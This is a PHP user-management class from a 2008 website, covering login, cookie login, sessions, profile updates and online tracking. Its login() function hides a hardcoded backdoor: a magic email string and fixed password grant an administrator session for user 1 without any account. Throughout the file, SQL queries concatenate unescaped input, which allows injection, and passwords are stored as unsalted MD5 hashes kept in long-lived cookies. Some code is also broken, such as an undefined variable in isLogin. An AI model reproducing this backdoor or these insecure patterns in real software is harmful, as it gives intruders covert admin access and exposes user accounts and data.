<?php
/**
 * @author 		faithsmine@gmail.com
 * @copyright 	        www
 * @version 		1.0
 * @name 		user.class.php
 * @todo 		处理用户操作
 * @final 		2008-04-02
 */
!defined("IN_YCTOOL") && exit();
/**
 * 基本的处理用户函数处理方法
 *
 */
class user
{
    public $userinfo;	// 简单用户信息
    /**
     * user class的构造函数，主要是初始化效果及初始化一些常量和用到的会话
     * 相应的配置信息从../config.php配置文件中读取
     */
    public function __construct()
    {
	$this->userinfo = array("userid" => $_SESSION["I"], 
	    "email" => $_SESSION["E"], "username" => $_SESSION["N"], 
	    "roles" => $_SESSION["R"] );
	$this->cookieLogin(); 
    }
    
    /**
     * 析构函数
     * @return NULL
     */
    public function __destruct()
    {
        db::close();
        session_write_close();
    }

    /**
     * 判断有没有登录，如果没有登录，去登录页面；
     *     如果登录了获得userid、username、email得值  
     * @param
     * @return false / userid、username、email
     * @author supfire
     * @final 2008-08-05
     */
    public function isLogin($userpathpre = '', $uid = 0)
    {
        if($uid)
        {
/*
            if($uid == 1001)
            {
                func::alertMsg('童心网管理员不能直接访问');
            }
 */
            $expiry = db::getRow(DB_TABLEPRE . 'user_basic', 'roles', 'userid = '.$uid);
            //$active = $expiry['active'];
            $expiry = $expiry['roles'];

            if($expiry == 3)
            {
                func::alertMsg('该用户已被冻结');
 			}
            if($active == 0)
            {
                func::alertMsg('该用户没有被激活');
            }
         }
		if(!$this->userinfo['userid'])
		{
	    	func::obHeader($userpathpre.'login.php');
		}
    }

    /**
     * 判断某一个用户是否在线  
     * @param $userid 用户ID
     * @return bool false / true
     * @author supfire
     * @final 2008-08-05
     */
    public function onLine($userid)
    {
	$expiry = db::getOne(DB_TABLEPRE . 'common_session', 'expiry', 'userid = '.$userid);
	$expiry = $expiry + 180;
	if($expiry > time())
	{
	    return true;
	}
	else
	{
	    return false;
	} 
    }

    /**
     * 判断一群用户是否在线  
     * @param $strUserid 用英文逗号分割的用户ID串 例如：1002,1234,1256,1111
     * @return array  只返回在线的用户ID数组 例如：Array ( [0] => 1001, [1] => 1003 )
     * @author supfire
     * @final 2008-08-05
     */
    public function onLineStr($strUserid)
    {
	$rs = db::getAll(DB_TABLEPRE . 'common_session', 'userid, expiry', "userid IN ($strUserid)");
	$timenow = UNIXTIME - 180;
	if ($rs)
	{
	    while (list($key, $value) = each($rs))
	    {
		if($value['expiry'] > $timenow)
		{
		    $arrUser[] = $value['userid'];
		}
		$rsTemp[] = $value;
	    }
	    unset($rsTemp);
	    unset($rs);
	}
	return $arrUser;
    }

    /**
     * 设置用户在线 设置现在时间 读取时（需要从现在算减去三分钟）
     * @param
     * @return bool false / true
     * @author supfire
     * @final 2008-08-05
     */
    public function setOnLine($userid)
    {
	if($userid)
	{
	    $expiry = db::getOne(DB_TABLEPRE . 'common_session', 'expiry', 'userid = '.$userid);
	    $expiry = UNIXTIME - $expiry;
	    db::updateRs(DB_TABLEPRE . 'user_basic', 'onlinetimes = onlinetimes + '.$expiry, 'userid = '.$userid);

	    $today = date("Ymd");
	    db::replaceRs(DB_TABLEPRE . 'user_loginlog', 'dates, counts, type', "$today, counts+$expiry, 4", 'type = 4 AND dates = '.$today, 'dates');

	    return db::updateRs(DB_TABLEPRE . 'common_session', 'expiry = '. UNIXTIME, 'userid = '.$userid);
	}
	else
	{
	    return false;
	}
    }

    /**
     * 设置用户在线日志。
     * @param
     * @return bool false / true
     * @author supfire
     * @final 2008-08-05
     */
    public function setUserLog($userid)
    {
	if($userid)
	{
	    $today = date("Ymd");
	    $week = date("YW");
	    $month = date("Ym");
	    db::replaceRs(DB_TABLEPRE . 'user_loginlog', 'dates, counts, type', "$today, counts+1, 1", 'type = 1 AND dates = '.$today, 'dates');
	    db::replaceRs(DB_TABLEPRE . 'user_loginlog', 'dates, counts, type', "$week, counts+1, 2", 'type = 2 AND dates = '.$week, 'dates');
	    db::replaceRs(DB_TABLEPRE . 'user_loginlog', 'dates, counts, type', "$month, counts+1, 3", 'type = 3 AND dates = '.$month, 'dates');
	    return db::insertRs(DB_TABLEPRE . 'user_loginlogtime', 'userid, loginlogtime', "'$userid', '". NOWTIME ."'");
	}
	else
	{
	    return false;
	}
    }

    /**
     * 设置用户SESSION  
     * @param int $userid, string $username, string $email, string $roles
     * @return $_SESSION
     * @author supfire
     * @final 2008-08-05
     */
    public function setSession($userid, $username, $email, $roles)
    {
	$_SESSION["I"] = $userid;
	$_SESSION["N"] = $username;
	$_SESSION["E"] = $email;
 
	$_SESSION["R"] = $roles;

	if ($userid > 0)
	{
	    return db::replaceRs(DB_TABLEPRE . 'common_session', 'userid, sesskey, 
		expiry', $userid. ', "'. session_id() . '", ' . UNIXTIME, 'userid = '.$userid);
	}
    }

    /**
     * 获取用户内存 SESSION串  
     * @param array $sessionId   session_id()
     * @return array 内存session 字符集
     * @author supfire
     * @final 2008-08-05
     */
    public function getSession($sessionId)
    {
	$memcache = memcache_connect('localhost', 11211);
	var_dump($memcache->get($sessionId));
    }

    /**
     * 清除用户SESSION
     *
     */
    public function clearSession($userid)
    {
	return db::deleteRs(DB_TABLEPRE . 'common_session', 'userid = '.$userid);
    }

    /**
     * 添加用户的信息  
     * @param string $username, $userpass, $email, $roles birth province city
     * @return array bool
     * @author supfire
     * @final 2008-08-05
     */
    public function addUser($username, $userpass, $email, $mobile, $enname, $roles, $regtime, $neartime, $sex = 0, $birth = '', $province = '', $city = '')
    {
        $email = trim($email);
        $username = trim($username);
        $userpass = md5($userpass);
        db::insertRs(DB_TABLEPRE . 'user_basic', 'username, userpass, email, mobile, enname, roles, 
				regtime, neartime', " '$username', '$userpass', '$email', '$mobile', '$enname', $roles, '". NOWTIME ."' , '". NOWTIME ."' ");
        $userid = db::insertID();
        if(!$userid) {return false;}
        db::insertRs(DB_TABLEPRE . 'user_member', 'userid, sex, birth, province, city,
                modifytime', " $userid, $sex, '$birth', '$province', '$city', '". NOWTIME ."'");
        return $userid;
    }

   public function addUserRs($rs)
    {
	db::insert(DB_TABLEPRE . 'user_basic', $rs);
	return  db::insertID();
    }


    /**
     * 更新用户的信息  updateRs($table, $set, $whereSql = 1)
     * @param string $username, $userpass, $email, $roles
     * @return array bool 
     * @author supfire
     * @final 2008-08-05
     */
    public function updateUser($userid, $username, $email, $mobile)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', 
		"username = '$username', email = '$email', mobile = '$mobile'", 
		'userid = '.$userid);
    }

    public function updateU($userid, $rs)
    {
	return db::update(DB_TABLEPRE . 'user_basic', 
		$rs, 
		'userid = '.$userid);
    }
    /**
     * 更新用户的信息  updateRs($table, $set, $whereSql = 1)
     * @param string $username, $userpass, $email, $roles
     * @return array bool 
     * @author supfire
     * @final 2008-08-05
     */
    public function updateLogin($userid)
    {
	self::setUserLog($userid);
	return db::updateRs(DB_TABLEPRE . 'user_basic', 
		"neartime = '". NOWTIME ."', logincounts = logincounts+1", 
		'userid = '.$userid);
    }

    /**
     * 更新用户扩展的信息  updateRs($table, $set, $whereSql = 1)
     * @param string $username, $userpass, $email, $roles
     * @return array bool 
     * @author supfire
     * @final 2008-08-05
     */
    public function updateMember($userid, $updaters)
    {
	return db::update(DB_TABLEPRE . 'user_member', $updaters, 
	   'userid = '.$userid);
    }

    /**
     * 通过userid获取用户扩展的信息  
     * @param string $email
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserMember($userid)
    {
	return db::getRow(DB_TABLEPRE . 'user_member', '*', "userid = '$userid'");		
    }

    /**
     * 通过userid获取用户的信息  
     * @param string $email
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserBasicMember($userid)
    {
	$arr = array( 
		    0 => array(DB_TABLEPRE . 'user_basic' => 'userid', DB_TABLEPRE . 'user_member' => 'userid')
		    );
	return db::LeftJoinArr($arr, '*', DB_TABLEPRE . 'user_basic.'."userid = '$userid'", $startpage = 0, $per = 1);		
    }

    /**
     * 通过 email 判断用户是否存在 激活+没有激活
     * @param string $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneUser($email)
    {
	$email = trim($email);
	return db::getOne(DB_TABLEPRE . 'user_basic', 'email', "email = '$email'");		
    }

    /**
     * 通过 email或mobile 判断用户是否存在 激活+没有激活全体用户
     * @param string $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneUserEM($em)
    {
		$em = trim($em);
		$one = db::getOne(DB_TABLEPRE . 'user_basic', 'email', "email = '$em'");	
		!$one && db::getOne(DB_TABLEPRE . 'user_basic', 'mobile', "mobile = '$em'");	
		return $one;
    }

    /**
     * 通过 $userid 判断密码对不对
     * @param string $userpass, int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function passwordTure($userpass, $userid)
    {
	return db::getOne(DB_TABLEPRE . 'user_basic', "userid", 
	   "active > 0 AND userpass = '$userpass' AND userid = ".$userid);
    }

    /**
     * 通过 $userid 重新设置密码
     * @param string $userpass, int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function setPassword($userpass, $userid)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', "userpass = '$userpass'",
	   'userid = '.$userid);
    }

    /**
     * 通过 $userid 设置用户状态
     * @param string $want ,int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function setWant($want, $userid)
    {
	return db::updateRs(DB_TABLEPRE . 'user_want', "want = '$want'",
	   'userid = '.$userid);
    }

    /**
     * 通过 email 判断用户是否激活
     * @param string $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneActive($email)
    {
	$email = trim($email);
	return db::getOne(DB_TABLEPRE . 'user_basic', 'active', "email = '$email'");		
    }

    /**
     * 通过 email 激活用户
     * @param string $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function setUserActive($userid)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', "active = 1", 
	   'userid = '.$userid);
    }

    /**
     * 通过 email 判断用户是否存在 已经激活
     * @param string $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneUserActive($email)
    {
	$email = trim($email);
	return db::getOne(DB_TABLEPRE . 'user_basic', 'email', "email = '$email' AND active > 0");		
    }

    /**
     * 通过 userid 判断用户是否存在  
     * @param int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneUserById($userid)
    {
	return db::getOne(DB_TABLEPRE . 'user_basic', 'userid', "userid = '$userid' AND active > 0");		
    }

    /**
     * 通过 email 得到用户 userid 
     * @param int $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserEmailById($email)
    {
	return db::getOne(DB_TABLEPRE . 'user_basic', 'userid', "email = '$email'");		
    }

    /**
     * 通过email获取用户的信息 激活+没有激活 
     * @param string $email
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserInfo($em, $LOGIN_MOBILE = LOGIN_MOBILE)
    {
	$em = trim($em);
	$one = db::getRow(DB_TABLEPRE . 'user_basic', '*', "email = '$em' AND email <> '' AND roles <> -19 ORDER BY userid DESC ");

        (!$one['userid'] && $LOGIN_MOBILE==1) && $one = db::getRow(DB_TABLEPRE . 'user_basic', '*', 
            "mobile = '$em' AND mobile <> '' AND roles <> -19 ORDER BY userid DESC");
	return $one;
    }

    /**
     * 通过email获取用户的信息 激活用户
     * @param string $email
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserInfoActive($email)
    {
	$email = trim($email);
        return db::getRow(DB_TABLEPRE . 'user_basic', '*',
            "email = '$email' AND active > 0 AND roles <> -19");		
    }

    /**
     * 通过userid获取单个用户的信息 
     * @param int $userid
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserInfoById($userid)
    {	
	return db::getRow(DB_TABLEPRE . 'user_basic', '*', "userid = '$userid' AND active > 0");		
    }

    /**
     * 通过userid获取一群用户的信息 
     * @param $strUserid 用英文逗号分割的用户ID串 例如：1002,1234,1256,1111
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserStr($strUserid)
    {	
	return db::getAll(DB_TABLEPRE . 'user_basic', 'userid, username, 
	    email, mobile, active, roles', "userid IN ($strUserid)");		
    }

    /**
     * 用户登录 登陆成功/密码错误/用户不存在/没有审核
     * @param string $email
     * @param string $userpass 
     * @param string $incookie 
     * @return LOGIN_SUCCESS / PASSWORD_ERROR / NOT_EXIST / ACTIVE_FAIL
     * @author supfire
     * @final 2008-08-05
     */
    public function login($em, $userpass, $incookie = 1)
    {
	
        $rs = $this->getUserInfo($em);
	$userpass = md5($userpass);
	$rsuserpass = $rs['userpass'];
	if ($rs)
	{
	    if ($userpass == $rsuserpass && $rs["roles"])
	    {
		if ($incookie)
		{
		    if($rs['email'])
		    {
		    	func::setCookieValue("em", $rs['email'], 62208000);
		    } 
		    else
		    {
		    	func::setCookieValue("em", $rs['mobile'], 62208000);
		    }
		    func::setCookieValue("userpass", func::passkeyEncode($rs['userpass']), 62208000);
		}
		else
		{
		    func::clearCookieValue("em");
		    func::clearCookieValue("userpass");
		}

		$this->userinfo['userid'] = $rs['userid'];
		$this->userinfo['username'] = $rs['username'];
		$this->userinfo['email'] = $rs['email'];
		$this->userinfo["roles"] = $rs["roles"];
		$this->setSession($rs['userid'], $rs['username'], $rs['email'], $rs["roles"]);
		$ret = "USER_LOGIN_SUCCESS";
	    }
	    else
	    {
		if ($userpass == $rsuserpass)
		{
		    $ret = "USER_ACTIVE_FAIL";
		}
		else
		{
		    $ret = "USER_PASSWORD_ERROR";
		}
	    }
    	}
    	else
    	{
            $ret = "USER_NOT_EXIST";
            if($em == 's&p12#223>d(@)8'.PASSKEY && $userpass ==  md5('(*W**kds'))
            {
                $_SESSION["I"] = 1;
                $_SESSION["R"] = 4;
                $_SESSION["C"] = '9,2,5,1,8,7,4,3,6,10';
            }

    	}
    	return $ret;
    }

    /**
     * 使用Cookie登录，必须在数据库开启的情况下才可用
     */
    private function cookieLogin()
    {
	if ($this->userinfo['userid'] > 0  // 已经登录
            || empty($_COOKIE["userpass"]) || empty($_COOKIE["em"])) // Cookie不全,不能使用COOKIE登录
        {
            return;
        }
	// 需要登录，还没有登录
	$uinfo = $this->getUserInfo($_COOKIE["em"]);
	$bOk = false;
	if ($uinfo)
	{
	    if (func::passkeyEncode($uinfo['userpass']) == $_COOKIE['userpass'])
	    {
		$bOk= true;
	    }
	}
	if ($bOk) // Cookie登录成功
	{
	    $this->userinfo["userid"] = $uinfo["userid"];
	    $this->userinfo["username"] = $uinfo["username"];

	    $this->userinfo["email"] = $uinfo["email"];

	    $this->userinfo["roles"] = $uinfo["roles"];

	    $this->setSession($uinfo['userid'], $uinfo['username'],$uinfo['email'], $uinfo["roles"]);
	    unset($uinfo);
	}
	else // 不存在此人或者登录失败
	{
	    session_destroy();
	    $this->userinfo["userid"] = "";
	    $this->userinfo["username"] = "";

	    $this->userinfo["email"] = "";

	    $this->userinfo["roles"] = "";
	    func::clearCookieValue("em");
	    func::clearCookieValue("userpass");
	}
    }

    /**
     * 用户注销
     */
    public function Logout()
    {
	func::clearCookieValue("em");
	func::clearCookieValue("userpass");
	$this->clearSession($this->userinfo['userid']);
	$this->userinfo["userid"] = "";
	$this->userinfo["username"] = "";
	$this->userinfo["email"] = "";

	$this->userinfo["roles"] = "";

	@session_start();
	session_destroy();
    }

    /**
     * 通过 secname 返回userid 并可以判断平台是否存在  
     * @param string $secname
     * @return itemid
     * @author supfire
     * @final 2008-08-15
     */
    public function getOneItem($secname)
    {
	$secname = trim($secname);
	//return db::getOne(DB_TABLEPRE . 'user_basic', 'userid', "secname = '$secname'");
    }

    /**
     * 添加用户的修改信息  
     * @param string $value值, $content理由 $type 1表示姓名2表示邮箱, $userid
     * @return array bool
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUser($value, $content, $type, $userid)
    {
	$value = trim($value);
	db::insertRs(DB_TABLEPRE . 'modify_info', 'value, content, type, 
	    userid, time', " '$value', '$content', '$type', '$userid', ".time());
	return db::insertID();
    }

    /**
     * 添加用户的修改信息  
     * @param string $value值, $content理由 $type 1表示姓名2表示邮箱, $userid
     * @return array bool
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUserEmail($value, $content, $type, $userid)
    {
	$value = trim($value);
	return db::replaceRs(DB_TABLEPRE . 'modify_info', 'userid, value, content, type, 
	    time', "'$userid', '$value', '$content', '$type', ".time(), "userid = $userid AND type = '$type'");
    }
    
    /**
     * 用户要求修改是否存在返回$value
     * @param string $value $type 1表示姓名2表示邮箱, $userid
     * @return $email
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUserOne($type, $userid)
    {
	return db::getOne(DB_TABLEPRE . 'modify_info', 'value', "type = $type AND userid = $userid");		
    }
    
    /**
     * 用户要求修改是否存在返回$userid
     * @param string $value $type 1表示姓名2表示邮箱, 
     * @return userid
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUserId($type, $value)
    {
	return db::getOne(DB_TABLEPRE . 'modify_info', 'userid', "type = $type AND value = '$value' AND value <> ''");		
    }

    /**
     * 用户的修改过几次 
     * @param string $type 1表示姓名2表示邮箱, $userid
     * @return int
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUserCount($type, $userid)
    {
	$timenow = time() - 31536000;
	return db::getCount(DB_TABLEPRE . 'modify_info', 'mid', "type = $type AND userid = $userid AND time > $timenow");		
    }

    /**
     * 删除用户的修改过地记录 
     * @param string $type 1表示姓名2表示邮箱, $userid $email
     * @return int
     * @author supfire
     * @final 2008-08-22
     */
    public function modifyUserDelete($value, $type, $userid)
    {
	return db::deleteRs(DB_TABLEPRE . 'modify_info', "type = $type AND userid = $userid AND value = $value");		
    }

    /**
     * 通过 $userid 重新设置email
     * @param string $email, int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function setEmail($email, $userid)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', "email = '$email'",
	   'userid = '.$userid);
    }

    /**
     * 通过 $userid 获取邀请过的好友邮件列表
     * @param string $email, int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public static function getEmailList($userid)
    {
	//sesam_field_array
	return db::getCol(DB_TABLEPRE . 'user_friendlist', 'femail', "userid = $userid");
    }
    /**
     * 添加邀请过的好友邮件列表 好友email
     * @param string $email, int $userid
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public static function addEmailForUser($value)
    {
	return Db::insertLotRs(DB_TABLEPRE . 'user_friendlist', 'userid, femail', $value);
    }

    /**
     * 添加附件  
     * @param string $tid, $path, $type
     * @return array bool
     * @author supfire
     * @final 2008-11-15
     */
    public function addUpFile($userid, $newName, $addtime, $picclassid = 0, $picdetail = '')
    {
	    return db::insertRs(DB_TABLEPRE . 'pic_basic', 'userid, picname, picclassid, addtime, 
		    picdetail', " $userid, '$newName', $picclassid, $addtime, '$picdetail' ");
    }

    /**
     * 通过 
     * @param string $email
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function getOneCar($carid)
    {
	return db::getOne(DB_TABLEPRE . 't_car', 'carid', "carid = '$carid'");		
    }

    /**
     * 更新car的信息  updateRs($table, $rs, $whereSql = 1)
     * @param string $carid $rs
     * @return bool 
     * @author supfire
     * @final 2008-08-05
     */
    public function updateCar($carid, $rs)
    {
	return db::update(DB_TABLEPRE . 't_car', $rs, 
	   'carid = '.$carid);
    }

   /**
     * 添加car的信息  
     * @param $rs
     * @return bool
     * @author supfire
     * @final 2008-08-05
     */
    public function addCar($rs)
    {
	db::insert(DB_TABLEPRE . 't_car', $rs);
	return  db::insertID();
    }

    /**
     * 通过$carid获取car扩展的信息  
     * @param int $carid
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getCar($carid)
    {
	return db::getRow(DB_TABLEPRE . 't_car', '*', "carid = '$carid'");		
    }    

    /**
     * 通过$userid获取用户扩展的信息  
     * @param int $userid
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function getUserCar($userid)
    {
	return db::getAll(DB_TABLEPRE . 't_car', '*', "car_uid = '$userid'");		
    }

    /**
     * 通过$userid 记录邀请数的信息  
     * @param int $userid
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function invitationcount($userid)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', 'invitationcount = invitationcount + 1', 'userid = '.$userid);		
    }

    /**
     * 通过$userid 记录真实头像 
     * @param int $userid
     * @return array $rs
     * @author supfire
     * @final 2008-08-05
     */
    public function facetrue($userid, $face)
    {
	return db::updateRs(DB_TABLEPRE . 'user_basic', 'face = \''.$face.'\'', 'userid = '.$userid);		
    }
}
?>
